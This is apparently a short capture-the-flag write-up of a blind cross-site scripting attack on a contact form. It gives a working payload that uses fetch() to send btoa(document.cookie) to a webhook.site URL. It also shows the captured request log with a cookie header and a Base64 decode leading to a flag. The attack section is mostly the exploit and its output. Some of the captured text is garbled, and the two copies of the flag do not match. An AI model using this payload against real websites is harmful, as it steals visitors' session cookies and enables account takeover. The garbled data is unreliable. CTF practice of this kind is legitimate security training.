

Null

Blind XSS try out one by one payload using this references: [GitHub - lauritzh/blind-xss-payloads](https://github.com/lauritzh/blind-xss-payloads) and found one payload that works.

### Contact Us

Have questions or need more information? Send us a message!

Your Name:

Your Email:

Your Message:

## Payload

```
<input onfocus='fetch("https://webhook.site/107d6ce8-fc36-4c6e-bf5b-585461b6f297?c="+btoa(document.cookie),{method:"POST",mode:"no-cors"})' autofocus>
```

REQUESTS (5/100)

NEWEST FIRST

Search Query

1

POST

#9a786 75.9.127.110

12/20/2024 1:37:48 AM

✖

POST

#dddc2 75.9.127.110

12/20/2024 1:37:31 AM

POST

#04d4e 75.9.127.110

12/20/2024 1:18:03 AM

POST

#79846 75.9.127.110

12/20/2024 1:17:31 AM

POST

#6ab6e 75.9.127.110

12/20/2024 1:08:30 AM

Request Details

Host

75.9.127.110

URLs

Shodan

Nifty

Comsys

Virtual

Date

12/20/2024 1:37:48 AM (a few seconds ago)

Size

0 bytes

Time

0.000 sec

ID

9a786ad0-df36-4cce-bf9e-e4e270949314

Note

[Add Note](#)

Query strings

c

No content

Permalink

Request

Pretty

Raw

Hex

1

POST /submit.php HTTP/2

2

Host: museum.oplabs.us

3

Cookie: cf\_clearance=F8mRlA3j0Tt\_gVqtTeTF\_maaVBCFJLh0i4ESXhR3tFQ-1734622805-1.2.1.i-vitZadVtDnU1buCev13D3941EplZmgS4\_wtYb047jg2co0Pkvb-gdKpJ59pnpM8uStc31iRv8h3ADV1h0JhE8BAwF-w8j3wFzEnvoF1b7cVt0R0b0RcT7kg6fzchL; 1708483394chBT\_DVupe108C0qg\_fyiX63dFaudU90F01c3MCRvnnVJXEVW0eEPJctEK0Yk3J0JXk6dFuzgUp3m\_P3pvoG0U0bmfz35L3V1vR3\_OBICZCVYgP6k43B0u0ydeKt49ybeB63jUNK7y3ia\_L5PbcHep\_w043Vich22aBnG23pQ7Om4APvdydC8cEPkPVu8FgqihJ1uocdn.RUWZqEnjwQ01Y5Sec1ovhM1bF5tRc\_mwFq\_1aX1gB0TQ

4

Content-Length: 236

5

Cache-Control: max-age=0

6

Sec-Ch-UA: "Chromium";v="131", "Not\_A Brand";v="24"

7

Sec-Ch-UA-Mobile: 70

8

Sec-Ch-UA-Platform: "Windows"

9

Accept-Language: en-US,en;q=0.8

10

Origin: https://museum.oplabs.us

11

Content-Type: application/x-www-form-urlencoded

12

Upgrade-Insecure-Requests: 1

13

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36

14

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

15

Sec-Fetch-Site: same-origin

16

Sec-Fetch-Mode: navigate

17

Sec-Fetch-User: ?1

18

Sec-Fetch-Dest: document

19

Referer: https://museum.oplabs.us/

20

Accept-Encoding: gzip, deflate, br

21

Priority: u=0, i

22

name=test&email=test.com&message=43cinput432onFocusu1d3fetch432htcpa43a4242fwebhook2esite42f107d6cee-fc3e-4c6e-bfb-505461bfe297b3fcd4d22zbhto4(document42cookie),47tme43h0d4a422POSTT22,model43a422no-coen422v7d43420atofocusu434

Recipe

^

📄

📁

🗑️

From Base64

Alphabet

A-Za-z0-9+/=

▼

☒ Remove non-alphabet chars

☐ Strict mode

From HTML Entity

^

📄

📁

🗑️

Input

ZmxhZzZ1TVE9VVENURnRhQ254TmhDYA1UDDzWfBQRuImEznbNjBm40VjU3dH0=

Output

flag=STOUTCTF{aCnxNhCcP5P7sXPjEIfxGnrrHnn4V57t}

Flag	STOUTCTF{aCnxNhCcP5P7sXPjEIFxFgnrHnn4V57t}
------	--